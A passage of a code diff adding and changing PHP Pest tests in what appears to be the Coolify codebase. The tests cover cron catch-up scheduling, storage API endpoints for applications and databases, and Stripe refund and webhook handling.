// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC'));
$result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test');
expect($result2)->toBeTrue();
});
it('daily cron fires after cache seed even when delayed past the minute', function () {
// Step 1: 15:00 — not due for midnight cron, but seeds cache
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
$result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
expect($result1)->toBeFalse();
// Step 2: Next day at 00:05 — delayed 5 minutes past midnight
// Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires
Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC'));
$result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test');
expect($result2)->toBeTrue();
});
it('does not double-dispatch within same cron window', function () {
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC'));
$first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
expect($first)->toBeTrue();
// Next minute — should NOT dispatch again
Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC'));
$second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10');
expect($second)->toBeFalse();
});

View file

@ -0,0 +1,379 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Bus;
use Illuminate\Support\Str;
uses(RefreshDatabase::class);
beforeEach(function () {
Bus::fake();
InstanceSettings::updateOrCreate(['id' => 0]);
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$plainTextToken = Str::random(40);
$token = $this->user->tokens()->create([
'name' => 'test-token',
'token' => hash('sha256', $plainTextToken),
'abilities' => ['*'],
'team_id' => $this->team->id,
]);
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function createTestApplication($context): Application
{
return Application::factory()->create([
'environment_id' => $context->environment->id,
]);
}
function createTestDatabase($context): StandalonePostgresql
{
return StandalonePostgresql::create([
'name' => 'test-postgres',
'image' => 'postgres:15-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $context->environment->id,
'destination_id' => $context->destination->id,
'destination_type' => $context->destination->getMorphClass(),
]);
}
// ──────────────────────────────────────────────────────────────
// Application Storage Endpoints
// ──────────────────────────────────────────────────────────────
describe('GET /api/v1/applications/{uuid}/storages', function () {
test('lists storages for an application', function () {
$app = createTestApplication($this);
LocalPersistentVolume::create([
'name' => $app->uuid.'-test-vol',
'mount_path' => '/data',
'resource_id' => $app->id,
'resource_type' => $app->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->getJson("/api/v1/applications/{$app->uuid}/storages");
$response->assertStatus(200);
$response->assertJsonCount(1, 'persistent_storages');
$response->assertJsonCount(0, 'file_storages');
});
test('returns 404 for non-existent application', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->getJson('/api/v1/applications/non-existent-uuid/storages');
$response->assertStatus(404);
});
});
describe('POST /api/v1/applications/{uuid}/storages', function () {
test('creates a persistent storage', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
'type' => 'persistent',
'name' => 'my-volume',
'mount_path' => '/data',
]);
$response->assertStatus(201);
$vol = LocalPersistentVolume::where('resource_id', $app->id)
->where('resource_type', $app->getMorphClass())
->first();
expect($vol)->not->toBeNull();
expect($vol->name)->toBe($app->uuid.'-my-volume');
expect($vol->mount_path)->toBe('/data');
expect($vol->uuid)->not->toBeNull();
});
test('creates a file storage', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
'type' => 'file',
'mount_path' => '/app/config.json',
'content' => '{"key": "value"}',
]);
$response->assertStatus(201);
$vol = LocalFileVolume::where('resource_id', $app->id)
->where('resource_type', get_class($app))
->first();
expect($vol)->not->toBeNull();
expect($vol->mount_path)->toBe('/app/config.json');
expect($vol->is_directory)->toBeFalse();
});
test('rejects persistent storage without name', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
'type' => 'persistent',
'mount_path' => '/data',
]);
$response->assertStatus(422);
});
test('rejects invalid type-specific fields', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/applications/{$app->uuid}/storages", [
'type' => 'persistent',
'name' => 'vol',
'mount_path' => '/data',
'content' => 'should not be here',
]);
$response->assertStatus(422);
});
});
describe('PATCH /api/v1/applications/{uuid}/storages', function () {
test('updates a persistent storage by uuid', function () {
$app = createTestApplication($this);
$vol = LocalPersistentVolume::create([
'name' => $app->uuid.'-test-vol',
'mount_path' => '/data',
'resource_id' => $app->id,
'resource_type' => $app->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
'uuid' => $vol->uuid,
'type' => 'persistent',
'mount_path' => '/new-data',
]);
$response->assertStatus(200);
expect($vol->fresh()->mount_path)->toBe('/new-data');
});
test('updates a persistent storage by id (backwards compat)', function () {
$app = createTestApplication($this);
$vol = LocalPersistentVolume::create([
'name' => $app->uuid.'-test-vol',
'mount_path' => '/data',
'resource_id' => $app->id,
'resource_type' => $app->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
'id' => $vol->id,
'type' => 'persistent',
'mount_path' => '/updated',
]);
$response->assertStatus(200);
expect($vol->fresh()->mount_path)->toBe('/updated');
});
test('returns 422 when neither uuid nor id is provided', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
'type' => 'persistent',
'mount_path' => '/data',
]);
$response->assertStatus(422);
});
});
describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
test('deletes a persistent storage', function () {
$app = createTestApplication($this);
$vol = LocalPersistentVolume::create([
'name' => $app->uuid.'-test-vol',
'mount_path' => '/data',
'resource_id' => $app->id,
'resource_type' => $app->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
$response->assertStatus(200);
$response->assertJson(['message' => 'Storage deleted.']);
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
});
test('finds file storage without type param and calls deleteStorageOnServer', function () {
$app = createTestApplication($this);
$vol = LocalFileVolume::create([
'fs_path' => '/tmp/test',
'mount_path' => '/app/config.json',
'content' => '{}',
'is_directory' => false,
'resource_id' => $app->id,
'resource_type' => get_class($app),
]);
// Verify the storage is found via fileStorages (not persistentStorages)
$freshApp = Application::find($app->id);
expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
expect($vol)->toBeInstanceOf(LocalFileVolume::class);
});
test('returns 404 for non-existent storage', function () {
$app = createTestApplication($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
$response->assertStatus(404);
});
});
// ──────────────────────────────────────────────────────────────
// Database Storage Endpoints
// ──────────────────────────────────────────────────────────────
describe('GET /api/v1/databases/{uuid}/storages', function () {
test('lists storages for a database', function () {
$db = createTestDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->getJson("/api/v1/databases/{$db->uuid}/storages");
$response->assertStatus(200);
$response->assertJsonStructure(['persistent_storages', 'file_storages']);
// Database auto-creates a default persistent volume
$response->assertJsonCount(1, 'persistent_storages');
});
test('returns 404 for non-existent database', function () {
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->getJson('/api/v1/databases/non-existent-uuid/storages');
$response->assertStatus(404);
});
});
describe('POST /api/v1/databases/{uuid}/storages', function () {
test('creates a persistent storage for a database', function () {
$db = createTestDatabase($this);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->postJson("/api/v1/databases/{$db->uuid}/storages", [
'type' => 'persistent',
'name' => 'extra-data',
'mount_path' => '/extra',
]);
$response->assertStatus(201);
$vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
expect($vol)->not->toBeNull();
expect($vol->mount_path)->toBe('/extra');
});
});
describe('PATCH /api/v1/databases/{uuid}/storages', function () {
test('updates a persistent storage by uuid', function () {
$db = createTestDatabase($this);
$vol = LocalPersistentVolume::create([
'name' => $db->uuid.'-test-vol',
'mount_path' => '/data',
'resource_id' => $db->id,
'resource_type' => $db->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
'uuid' => $vol->uuid,
'type' => 'persistent',
'mount_path' => '/updated',
]);
$response->assertStatus(200);
expect($vol->fresh()->mount_path)->toBe('/updated');
});
});
describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
test('deletes a persistent storage', function () {
$db = createTestDatabase($this);
$vol = LocalPersistentVolume::create([
'name' => $db->uuid.'-test-vol',
'mount_path' => '/extra',
'resource_id' => $db->id,
'resource_type' => $db->getMorphClass(),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
$response->assertStatus(200);
expect(LocalPersistentVolume::find($vol->id))->toBeNull();
});
});

View file

@ -43,9 +43,11 @@
describe('checkEligibility', function () {
test('returns eligible when subscription is within 30 days', function () {
$periodEnd = now()->addDays(20)->timestamp;
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@ -58,12 +60,15 @@
expect($result['eligible'])->toBeTrue();
expect($result['days_remaining'])->toBe(20);
expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when subscription is past 30 days', function () {
$periodEnd = now()->addDays(25)->timestamp;
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(35)->timestamp,
'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@ -77,12 +82,15 @@
expect($result['eligible'])->toBeFalse();
expect($result['days_remaining'])->toBe(0);
expect($result['reason'])->toContain('30-day refund window has expired');
expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when subscription is not active', function () {
$periodEnd = now()->addDays(25)->timestamp;
$stripeSubscription = (object) [
'status' => 'canceled',
'start_date' => now()->subDays(5)->timestamp,
'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@ -94,6 +102,7 @@
$result = $action->checkEligibility($this->team);
expect($result['eligible'])->toBeFalse();
expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when no subscription exists', function () {
@ -104,6 +113,7 @@
expect($result['eligible'])->toBeFalse();
expect($result['reason'])->toContain('No active subscription');
expect($result['current_period_end'])->toBeNull();
});
test('returns ineligible when invoice is not paid', function () {
@ -114,6 +124,7 @@
expect($result['eligible'])->toBeFalse();
expect($result['reason'])->toContain('not paid');
expect($result['current_period_end'])->toBeNull();
});
test('returns ineligible when team has already been refunded', function () {
@ -145,6 +156,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@ -205,6 +217,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@ -229,6 +242,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@ -251,10 +265,61 @@
expect($result['error'])->toContain('No payment intent');
});
test('records refund and proceeds when cancel fails', function () {
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
];
$this->mockSubscriptions
->shouldReceive('retrieve')
->with('sub_test_123')
->andReturn($stripeSubscription);
$invoiceCollection = (object) ['data' => [
(object) ['payment_intent' => 'pi_test_123'],
]];
$this->mockInvoices
->shouldReceive('all')
->with([
'subscription' => 'sub_test_123',
'status' => 'paid',
'limit' => 1,
])
->andReturn($invoiceCollection);
$this->mockRefunds
->shouldReceive('create')
->with(['payment_intent' => 'pi_test_123'])
->andReturn((object) ['id' => 're_test_123']);
// Cancel throws — simulating Stripe failure after refund
$this->mockSubscriptions
->shouldReceive('cancel')
->with('sub_test_123')
->andThrow(new \Exception('Stripe cancel API error'));
$action = new RefundSubscription($this->mockStripe);
$result = $action->execute($this->team);
// Should still succeed — refund went through
expect($result['success'])->toBeTrue();
expect($result['error'])->toBeNull();
$this->subscription->refresh();
// Refund timestamp must be recorded
expect($this->subscription->stripe_refunded_at)->not->toBeNull();
// Subscription should still be marked as ended locally
expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
expect($this->subscription->stripe_subscription_id)->toBeNull();
});
test('fails when subscription is past refund window', function () {
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(35)->timestamp,
'current_period_end' => now()->addDays(25)->timestamp,
];
$this->mockSubscriptions

View file

@ -0,0 +1,230 @@
<?php
use App\Jobs\ServerLimitCheckJob;
use App\Jobs\StripeProcessJob;
use App\Models\Subscription;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
uses(RefreshDatabase::class);
beforeEach(function () {
config()->set('constants.coolify.self_hosted', false);
config()->set('subscription.provider', 'stripe');
config()->set('subscription.stripe_api_key', 'sk_test_fake');
config()->set('subscription.stripe_excluded_plans', '');
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
});
describe('customer.subscription.created does not fall through to updated', function () {
test('created event creates subscription without setting stripe_invoice_paid to true', function () {
Queue::fake();
$event = [
'type' => 'customer.subscription.created',
'data' => [
'object' => [
'customer' => 'cus_new_123',
'id' => 'sub_new_123',
'metadata' => [
'team_id' => $this->team->id,
'user_id' => $this->user->id,
],
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
$subscription = Subscription::where('team_id', $this->team->id)->first();
expect($subscription)->not->toBeNull();
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
// Critical: stripe_invoice_paid must remain false — payment not yet confirmed
expect($subscription->stripe_invoice_paid)->toBeFalsy();
});
test('created event updates existing subscription instead of duplicating', function () {
Queue::fake();
Subscription::create([
'team_id' => $this->team->id,
'stripe_subscription_id' => 'sub_old',
'stripe_customer_id' => 'cus_old',
'stripe_invoice_paid' => true,
]);
$event = [
'type' => 'customer.subscription.created',
'data' => [
'object' => [
'customer' => 'cus_new_123',
'id' => 'sub_new_123',
'metadata' => [
'team_id' => $this->team->id,
'user_id' => $this->user->id,
],
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
$subscription = Subscription::where('team_id', $this->team->id)->first();
expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
expect($subscription->stripe_customer_id)->toBe('cus_new_123');
});
});
describe('checkout.session.completed', function () {
test('creates subscription for new team', function () {
Queue::fake();
$event = [
'type' => 'checkout.session.completed',
'data' => [
'object' => [
'client_reference_id' => $this->user->id.':'.$this->team->id,
'subscription' => 'sub_checkout_123',
'customer' => 'cus_checkout_123',
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
$subscription = Subscription::where('team_id', $this->team->id)->first();
expect($subscription)->not->toBeNull();
expect($subscription->stripe_invoice_paid)->toBeTruthy();
});
test('updates existing subscription instead of duplicating', function () {
Queue::fake();
Subscription::create([
'team_id' => $this->team->id,
'stripe_subscription_id' => 'sub_old',
'stripe_customer_id' => 'cus_old',
'stripe_invoice_paid' => false,
]);
$event = [
'type' => 'checkout.session.completed',
'data' => [
'object' => [
'client_reference_id' => $this->user->id.':'.$this->team->id,
'subscription' => 'sub_checkout_new',
'customer' => 'cus_checkout_new',
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
$subscription = Subscription::where('team_id', $this->team->id)->first();
expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
expect($subscription->stripe_invoice_paid)->toBeTruthy();
});
});
describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
test('quantity exceeding MAX is clamped to 100', function () {
Queue::fake();
Subscription::create([
'team_id' => $this->team->id,
'stripe_subscription_id' => 'sub_existing',
'stripe_customer_id' => 'cus_clamp_test',
'stripe_invoice_paid' => true,
]);
$event = [
'type' => 'customer.subscription.updated',
'data' => [
'object' => [
'customer' => 'cus_clamp_test',
'id' => 'sub_existing',
'status' => 'active',
'metadata' => [
'team_id' => $this->team->id,
'user_id' => $this->user->id,
],
'items' => [
'data' => [[
'subscription' => 'sub_existing',
'plan' => ['id' => 'price_dynamic_monthly'],
'price' => ['lookup_key' => 'dynamic_monthly'],
'quantity' => 999,
]],
],
'cancel_at_period_end' => false,
'cancellation_details' => ['feedback' => null, 'comment' => null],
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
$this->team->refresh();
expect($this->team->custom_server_limit)->toBe(100);
Queue::assertPushed(ServerLimitCheckJob::class);
});
});
describe('ServerLimitCheckJob dispatch is guarded by team check', function () {
test('does not dispatch ServerLimitCheckJob when team is null', function () {
Queue::fake();
// Create subscription without a valid team relationship
$subscription = Subscription::create([
'team_id' => 99999,
'stripe_subscription_id' => 'sub_orphan',
'stripe_customer_id' => 'cus_orphan_test',
'stripe_invoice_paid' => true,
]);
$event = [
'type' => 'customer.subscription.updated',
'data' => [
'object' => [
'customer' => 'cus_orphan_test',
'id' => 'sub_orphan',
'status' => 'active',
'metadata' => [
'team_id' => null,
'user_id' => null,
],
'items' => [
'data' => [[
'subscription' => 'sub_orphan',
'plan' => ['id' => 'price_dynamic_monthly'],
'price' => ['lookup_key' => 'dynamic_monthly'],
'quantity' => 5,
]],
],
'cancel_at_period_end' => false,
'cancellation_details' => ['feedback' => null, 'comment' => null],
],
],
];
$job = new StripeProcessJob($event);
$job->handle();
Queue::assertNotPushed(ServerLimitCheckJob::class);
});
});

View file

@ -0,0 +1,16 @@
<?php
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('subscriptionEnded does not throw when team has no subscription', function () {
$team = Team::factory()->create();
// Should return early without error — no NPE
$team->subscriptionEnded();
// If we reach here, no exception was thrown
expect(true)->toBeTrue();
});

Some files were not shown because too many files have changed in this diff Show more